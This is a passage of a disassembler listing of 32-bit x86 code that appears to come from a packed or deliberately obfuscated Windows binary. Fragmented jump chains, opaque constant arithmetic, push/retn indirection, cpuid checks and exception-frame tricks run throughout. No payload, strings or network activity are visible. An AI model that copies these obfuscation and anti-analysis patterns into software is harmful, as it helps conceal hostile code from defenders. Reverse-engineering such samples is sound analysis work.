; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_40853C:				; CODE XREF: sub_40DBCC+Dj
		jmp	loc_40940C
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------


loc_408541:				; CODE XREF: _837l4vi2:00409B29j
		mov	[ebx], eax
		pop	ebx
		jmp	loc_40D0E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40C3AF


loc_408549:				; CODE XREF: sub_40C3AF:loc_406CD7j
		call	sub_40BF48
		test	al, al
		jz	loc_40F5DC
		jmp	loc_40CF96
; END OF FUNCTION CHUNK	FOR sub_40C3AF

; =============== S U B	R O U T	I N E =======================================



sub_40855B	proc near		; DATA XREF: _837l4vi2:00407B4Fo

; FUNCTION CHUNK AT 004052CC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00408F46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409FFD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040DD87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E598 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040EE9A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004106F4 SIZE 0000000B BYTES

		cmp	ds:dword_40D3E0, 0
		jmp	loc_409FFD
sub_40855B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408567	proc near		; CODE XREF: sub_409D6Bj

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004067AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406C2F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040739E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00409075 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004090F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00409562 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0040A537 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040AC32 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040ADA3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040B545 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040DCBC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040E286 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00410638 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:dword_40D3E0, 0
		jnz	loc_406C2F
		jmp	loc_40E286
sub_408567	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40857F	proc near		; DATA XREF: sub_409CCE-7BDo
		rol	eax, 8
		mov	ds:dword_40DF3C, eax
		retn
sub_40857F	endp

; ---------------------------------------------------------------------------


loc_408589:				; CODE XREF: _837l4vi2:0040A5F2j
		jmp	locret_407D87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409CCE


loc_40858E:				; CODE XREF: sub_409CCE+2j
		ror	eax, 8
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_409CCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_408593:				; CODE XREF: sub_40DBCC+141j
		jmp	loc_40B6D4
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A7E9


loc_408598:				; CODE XREF: sub_40A7E9+3j
		jmp	loc_40D570
; END OF FUNCTION CHUNK	FOR sub_40A7E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410E1F


loc_40859D:				; CODE XREF: sub_410E1F-9678j
		jmp	loc_407C30
; END OF FUNCTION CHUNK	FOR sub_410E1F

; =============== S U B	R O U T	I N E =======================================



sub_4085A2	proc near		; CODE XREF: sub_4072E4+6689p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0040537B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004060E5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00409EC2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CB20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D592 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040E2AB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040F723 SIZE 00000008 BYTES

		push	ebp
		jmp	loc_40D592
sub_4085A2	endp

; ---------------------------------------------------------------------------


loc_4085A8:				; CODE XREF: _837l4vi2:0040FE61j
		jnz	loc_40D885
		jmp	loc_41023A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_4085B3:				; CODE XREF: sub_41045F+A54j
		jnb	loc_408DA9
; END OF FUNCTION CHUNK	FOR sub_41045F

; =============== S U B	R O U T	I N E =======================================



sub_4085B9	proc near		; CODE XREF: sub_40D735-8543p

; FUNCTION CHUNK AT 004091B8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040A84A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040A964 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F279 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040F421 SIZE 0000000D BYTES

		mov	[esp+0], edx
		pop	edx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		jmp	loc_40F279
sub_4085B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405F85


loc_4085C8:				; CODE XREF: sub_405F85:loc_40F921j
		sbb	edi, eax
		jmp	loc_40A061
; END OF FUNCTION CHUNK	FOR sub_405F85
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4085D1:				; CODE XREF: _837l4vi2:00407959j
		jl	loc_40A8DF

; =============== S U B	R O U T	I N E =======================================



sub_4085D7	proc near		; CODE XREF: _837l4vi2:loc_4108A7p

; FUNCTION CHUNK AT 004092DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B48A SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_4092DC
sub_4085D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D735


loc_4085E5:				; CODE XREF: sub_40D735:loc_409A6Aj
		jo	loc_40755E
; END OF FUNCTION CHUNK	FOR sub_40D735
; START	OF FUNCTION CHUNK FOR sub_41045F


loc_4085EB:				; CODE XREF: sub_41045F:loc_408FF1j
		popf
		jmp	sub_40C720
; END OF FUNCTION CHUNK	FOR sub_41045F
; ---------------------------------------------------------------------------
		popf
		jmp	sub_410828
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4077E6


loc_4085F7:				; CODE XREF: sub_4077E6+19j
		pop	edi
		mov	edi, [eax]
		add	eax, 4
		mov	esi, [eax]
		add	eax, 4
		mov	ebp, [eax]
		add	eax, 4
		jmp	loc_408CCC
; END OF FUNCTION CHUNK	FOR sub_4077E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40892F


loc_40860C:				; CODE XREF: _837l4vi2:00408B20j
					; sub_40892F+6CEDj ...
		pop	large dword ptr	fs:0
		add	esp, 4
		retn
; END OF FUNCTION CHUNK	FOR sub_40892F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CAD0


loc_408617:				; CODE XREF: sub_40CAD0+819j
		jmp	sub_40E9D8
; END OF FUNCTION CHUNK	FOR sub_40CAD0

; =============== S U B	R O U T	I N E =======================================



sub_40861C	proc near		; CODE XREF: sub_408BA9p

; FUNCTION CHUNK AT 0040727D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004108F4 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		jmp	loc_4108F4
sub_40861C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F058


loc_408628:				; CODE XREF: sub_40F058+11j
		push	offset loc_405000
		jmp	loc_406230
; END OF FUNCTION CHUNK	FOR sub_40F058
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_408632:				; CODE XREF: sub_40833D-2B6j
		popf


loc_408633:				; CODE XREF: sub_40833D:loc_407BEBj
		push	9A5FCCECh
		pop	eax
		xor	eax, 0F91C9F50h
		and	eax, 0D13435BBh
		add	eax, 0F1CC1CA9h
		push	offset sub_40F68F
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BF48


loc_408655:				; CODE XREF: sub_40BF48+30A2j
		pushf
		push	2FFA3BBEh
		pop	edx
		or	edx, 16C07A8Dh
		jmp	loc_409906
; END OF FUNCTION CHUNK	FOR sub_40BF48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_408667:				; CODE XREF: sub_4078C8:loc_408E58j
		jnz	loc_40D4AA


loc_40866D:				; CODE XREF: sub_40DF72+1443j
		jmp	loc_410C76
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
		shr	ebp, 0Dh
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------
		sbb	edi, 6129B919h
		jmp	sub_4098B0
; ---------------------------------------------------------------------------


loc_408685:				; DATA XREF: sub_409694+12o
		mov	eax, [eax]
		push	eax
		call	sub_405752
		test	eax, eax
		jz	loc_4091F5
		jmp	loc_410AA7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4104E3


loc_40869B:				; CODE XREF: sub_4104E3-218Bj
		jmp	loc_40A776
; END OF FUNCTION CHUNK	FOR sub_4104E3
; ---------------------------------------------------------------------------


loc_4086A0:				; DATA XREF: sub_405984+3C59o
		xor	edi, 0E8F3AE80h
		add	edi, ebp
		add	edi, 0D69C2FD2h
		jmp	loc_40B236
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B3A7


loc_4086B4:				; CODE XREF: sub_40B3A7+11BCj
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_40B3A7
; ---------------------------------------------------------------------------


loc_4086B9:				; CODE XREF: _837l4vi2:004101E6j
		test	edi, 79A175A3h
		jmp	loc_409898
; ---------------------------------------------------------------------------


loc_4086C4:				; CODE XREF: _837l4vi2:loc_4072D9j
					; _837l4vi2:0040D49Fj
		mov	[ecx], ebp
		test	edx, esi
		jmp	loc_40CAA8
; ---------------------------------------------------------------------------


loc_4086CD:				; CODE XREF: _837l4vi2:0040F19Ej
		jz	loc_406C78
		pop	esi
		jmp	sub_40C619
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40966E


loc_4086D9:				; CODE XREF: sub_40966E+1B91j
		mov	ds:dword_406D58, eax
		call	sub_409218
		mov	edx, 90F68180h
		call	sub_40CC4A
		jmp	loc_40FB9F
; END OF FUNCTION CHUNK	FOR sub_40966E

; =============== S U B	R O U T	I N E =======================================



sub_4086F2	proc near		; CODE XREF: sub_4078C8+EBAp
					; sub_40926F+32j

; FUNCTION CHUNK AT 00409E8A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040AB8B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D5E4 SIZE 00000008 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jnz	loc_40D5E4
		lea	eax, [ebp-125h]
		push	eax
		push	offset loc_40A06A
		jmp	nullsub_17
sub_4086F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_403BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409D6B


loc_408712:				; CODE XREF: sub_409D6B+11B4j
		jmp	nullsub_135
; END OF FUNCTION CHUNK	FOR sub_409D6B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
		dd offset sub_410619
; ---------------------------------------------------------------------------
		jmp	locret_40FB94
; ---------------------------------------------------------------------------
		push	offset loc_40E617
		jmp	locret_40E377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4097D5


loc_40872B:				; CODE XREF: sub_4097D5+CF8j
		cmp	eax, 0B30260DBh
		jmp	loc_4108EF
; END OF FUNCTION CHUNK	FOR sub_4097D5

; =============== S U B	R O U T	I N E =======================================



sub_408736	proc near		; CODE XREF: _837l4vi2:00405D5Dj
					; sub_406732+6p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040590C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00407410 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040754F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004083A7 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00409070 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409163 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00409506 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040A206 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AE13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B6DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CF71 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040D202 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0040D278 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040EF61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FBFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0041017F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0041077B SIZE 00000006 BYTES

		mov	[esp+0], esi
		pop	esi
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_40AB9C, 0
		jnz	loc_40D202
		jmp	loc_40B6DF
sub_408736	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_40874F:				; CODE XREF: sub_40E3C8:loc_40E643j
		mov	eax, ds:dword_410030
		or	eax, eax
		jnz	loc_40F183
		jmp	loc_409054
; END OF FUNCTION CHUNK	FOR sub_40E3C8
; ---------------------------------------------------------------------------


loc_408762:				; DATA XREF: sub_40E0DF:loc_4053D2o
		push	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_408764:				; CODE XREF: sub_405BB4+656Dj
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_405BB4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408769	proc near		; CODE XREF: sub_4072E4:loc_409961p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00406646 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040EAA1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0040F362 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00410ECE SIZE 0000000D BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_410ECE
sub_408769	endp

; ---------------------------------------------------------------------------


loc_408771:				; CODE XREF: _837l4vi2:004063BDj
		jns	loc_40FFD9
		shr	edx, 1Dh

; =============== S U B	R O U T	I N E =======================================



sub_40877A	proc near		; CODE XREF: sub_409D32+5F21p
		xchg	ebx, [esp+0]
		pop	ebx
sub_40877A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4078C8


loc_40877E:				; CODE XREF: sub_4078C8+1C6Cj
		cmp	dword ptr [ebp-4], 0
		call	sub_4086F2


loc_408787:				; CODE XREF: sub_40A454+13j
		jmp	loc_40946C
; END OF FUNCTION CHUNK	FOR sub_4078C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4087FF


loc_40878C:				; CODE XREF: sub_4087FF-235Fj
		jmp	loc_41034E
; END OF FUNCTION CHUNK	FOR sub_4087FF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_408792:				; CODE XREF: _837l4vi2:loc_40BEA5j
		ror	ebx, 12h
		push	0E34C6964h
		jmp	loc_409C07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405250


loc_40879F:				; CODE XREF: sub_405250:loc_407C3Dj
					; sub_405250+7348j
		mov	eax, [ebp-4]
		inc	eax
		push	esi
		push	0D2164A27h
		pop	esi
		rol	esi, 7
		jmp	loc_40D138
; END OF FUNCTION CHUNK	FOR sub_405250

; =============== S U B	R O U T	I N E =======================================



sub_4087B2	proc near		; DATA XREF: sub_407FEA+47F3o
		push	0
		call	sub_40B7A1
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_407FFA
		jmp	sub_407FEA
sub_4087B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4087C8	proc near		; DATA XREF: sub_405702+7o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0040771C SIZE 0000000B BYTES

		xchg	ebx, ebp
		mov	ebp, ebx
		xchg	eax, [esp-4+arg_0]
		mov	ebp, eax
		pop	eax
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jmp	loc_40771C
sub_4087C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E3C8


loc_4087DD:				; CODE XREF: sub_40E3C8-6BBEj
		jp	loc_410C13


loc_4087E3:				; CODE XREF: _837l4vi2:0040C52Ej
		xor	eax, 0A55AB430h


loc_4087E9:				; CODE XREF: sub_40E3C8:loc_40AF5Bj
		push	2
		push	400h
		push	3AF7C9Eh
		mov	eax, offset sub_410DDD
		jmp	loc_409A7E
; END OF FUNCTION CHUNK	FOR sub_40E3C8

; =============== S U B	R O U T	I N E =======================================



sub_4087FF	proc near		; DATA XREF: sub_40EED8-15B7o

; FUNCTION CHUNK AT 0040535E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00406494 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040878C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004095A8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00409DA5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C6AE SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0041034E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004107B2 SIZE 00000005 BYTES

		push	eax
		pushf
		push	79E05297h
		pop	eax
		jmp	loc_409DA5
sub_4087FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40600B


loc_40880C:				; CODE XREF: sub_40600B+Ej
		dec	dword ptr [ebp-18h]
		jnz	loc_40B389
		jmp	loc_409A65
; END OF FUNCTION CHUNK	FOR sub_40600B
; ---------------------------------------------------------------------------


loc_40881A:				; CODE XREF: _837l4vi2:0040AF4Bj
		add	eax, 28h
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jmp	loc_40C0D6

; =============== S U B	R O U T	I N E =======================================



sub_40882B	proc near		; CODE XREF: sub_40E236-7E1Ej
					; sub_4085A2+4FF3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00405270 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040552A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00406006 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004078BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00407E84 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00408CC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409360 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040BFC3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C43B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C568 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040C732 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C9DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040CCC7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0040E144 SIZE 00000014 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_40A134
		call	sub_40E0DF


loc_40883D:				; CODE XREF: sub_40C1A5+18j
		jmp	loc_40C568
sub_40882B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40833D


loc_408842:				; CODE XREF: sub_40833D+1052j
		jmp	nullsub_40
; END OF FUNCTION CHUNK	FOR sub_40833D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC6E


loc_408847:				; CODE XREF: sub_40CC6E:loc_40A560j
		add	edx, eax
		push	offset sub_40EE2D
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_40CC6E
; ---------------------------------------------------------------------------
		sbb	ecx, 0F5B0FF68h
		jmp	sub_40CBC2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4065B8


loc_40885F:				; CODE XREF: sub_4065B8+8024j
		jmp	loc_40AF39
; END OF FUNCTION CHUNK	FOR sub_4065B8

; =============== S U B	R O U T	I N E =======================================



sub_408864	proc near		; CODE XREF: sub_40DC44-89F9p
					; _837l4vi2:0040A448j
		mov	[esp+0], edx
		pop	edx
		lea	eax, [ebp-64h]
		push	eax
		push	400000h
		mov	eax, [ebp-10h]


loc_408874:				; CODE XREF: sub_405686+1B96j
		push	eax
		call	sub_40A26E


loc_40887A:				; CODE XREF: sub_40F642-5133j
		jmp	nullsub_83
sub_408864	endp

; ---------------------------------------------------------------------------


loc_40887F:				; CODE XREF: _837l4vi2:0040A845j
		add	edx, 7E4BF5B9h

; =============== S U B	R O U T	I N E =======================================



sub_408885	proc near		; CODE XREF: sub_407FEA:loc_40A2BCp

; FUNCTION CHUNK AT 00405919 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00407727 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		push	eax
		jmp	loc_407727
sub_408885	endp

; ---------------------------------------------------------------------------
		sub	edi, 4511C8Bh
		jmp	loc_4109FD
; ---------------------------------------------------------------------------


loc_40889A:				; CODE XREF: _837l4vi2:004078FDj
		push	eax
		shr	esi, 1Ah
; START	OF FUNCTION CHUNK FOR sub_40B859


loc_40889E:				; CODE XREF: sub_40B859:loc_4078ECj
		add	ecx, 5408EF9Dh
		mov	ecx, [ecx]
		jmp	loc_40C835
; END OF FUNCTION CHUNK	FOR sub_40B859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CD8A


loc_4088AB:				; CODE XREF: sub_40CD8A+3117j
		cmp	esi, ebp
		jmp	loc_40C9EB
; END OF FUNCTION CHUNK	FOR sub_40CD8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A83D


loc_4088B2:				; CODE XREF: sub_40A83D+1j
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp-4], eax
		push	offset loc_406D34
		jmp	nullsub_31
; END OF FUNCTION CHUNK	FOR sub_40A83D
; ---------------------------------------------------------------------------
		mov	eax, [ebp+0]
		test	eax, ebp
		jmp	loc_40C093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AA44


loc_4088CE:				; CODE XREF: sub_40AA44:loc_40E0DAj
		jnz	loc_407934
		jg	loc_410025
		jmp	loc_407929
; END OF FUNCTION CHUNK	FOR sub_40AA44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407A63


loc_4088DF:				; CODE XREF: sub_407A63:loc_40D805j
		mov	ebp, esp
		push	offset loc_409BBE
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_407A63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_406C3E


loc_4088EB:				; CODE XREF: sub_406C3E:loc_408DDBj
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_40E9E7
; END OF FUNCTION CHUNK	FOR sub_406C3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405BB4


loc_4088F9:				; CODE XREF: sub_405BB4+9D26j
		cmp	dword ptr [ebp-10h], 2
		jmp	loc_4073B1
; END OF FUNCTION CHUNK	FOR sub_405BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D74E


loc_408902:				; CODE XREF: sub_40D74E:loc_405E08j
		or	edx, edi
		xor	ebx, edx
		cdq
; END OF FUNCTION CHUNK	FOR sub_40D74E
; START	OF FUNCTION CHUNK FOR sub_4061B1


loc_408907:				; CODE XREF: sub_408736:loc_40590Cj
					; sub_4061B1:loc_40EF4Ej
		push	ecx
		jmp	loc_406814
; END OF FUNCTION CHUNK	FOR sub_4061B1
; ---------------------------------------------------------------------------


loc_40890D:				; DATA XREF: sub_40F471+7o
		dec	eax
		call	sub_40FD62
; START	OF FUNCTION CHUNK FOR sub_40DBCC


loc_408913:				; CODE XREF: sub_40DBCC-47BAj
		jmp	loc_40B0F8
; END OF FUNCTION CHUNK	FOR sub_40DBCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_405984


loc_408918:				; CODE XREF: sub_405984:loc_40716Dj
					; sub_405984:loc_408BD4j ...
		rol	eax, 0Fh
		xor	eax, 0F31879EBh
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		jmp	loc_40FA01
; END OF FUNCTION CHUNK	FOR sub_405984

; =============== S U B	R O U T	I N E =======================================



sub_40892F	proc near		; CODE XREF: _837l4vi2:00407513j
					; sub_40B99D:loc_40EA05p

arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 00405C78 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00406C6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00407187 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00407427 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004079E9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040860C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040907B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B931 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0040C48D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0040D6AB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040E66F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040EB0A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040EE95 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F1C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F290 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F615 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040F880 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040FCF4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00410B24 SIZE 00000024 BYTES

		mov	[esp+0], eax
		pop	eax
		mov	eax, [ebp-4]
		call	sub_40D0D2
		test	al, al
		jnz	loc_410B24
		jmp	loc_40C48D
sub_40892F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D31D


loc_408948:				; CODE XREF: sub_40D31D-5D48j
		jl	loc_410EF1
; END OF FUNCTION CHUNK	FOR sub_40D31D
; START	OF FUNCTION CHUNK FOR sub_405CBC


loc_40894E:				; CODE XREF: sub_405CBC+5CC8j
		jmp	loc_40C96B
; END OF FUNCTION CHUNK	FOR sub_405CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407A59


loc_408953:				; CODE XREF: sub_407A59+31ACj
		jmp	loc_40E7AF
; END OF FUNCTION CHUNK	FOR sub_407A59
; ---------------------------------------------------------------------------
		jl	loc_40D485
		adc	eax, edi
		adc	edx, 925E24F6h
		jmp	loc_407B44
; ---------------------------------------------------------------------------


loc_40896B:				; DATA XREF: sub_40B7DE+415Do
		mov	ecx, ds:dword_40AB9C
		movzx	edx, byte ptr [ecx+edx]
		push	offset sub_40601E
		jmp	loc_40E612
; ---------------------------------------------------------------------------
		sbb	esi, eax
		jmp	sub_4096C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A050


loc_408986:				; CODE XREF: sub_40A050:loc_410E15j
		add	edx, 472D5880h
		xchg	edx, [esp+0]
		jmp	loc_408A55
; END OF FUNCTION CHUNK	FOR sub_40A050
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E6CD


loc_408994:				; CODE XREF: sub_40E6CD:loc_406B4Dj
		mov	byte ptr [eax+edx], 0
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 100h
		jnz	loc_409CA8
		jmp	loc_406755
; END OF FUNCTION CHUNK	FOR sub_40E6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40ACF2


loc_4089AD:				; CODE XREF: sub_40ACF2-1603j
		jnz	loc_4089BC
		add	dword ptr [ebp-8], 4
		jmp	loc_40AD06
; ---------------------------------------------------------------------------


loc_4089BC:				; CODE XREF: sub_40ACF2:loc_4089ADj
		add	dword ptr [ebp-8], 2
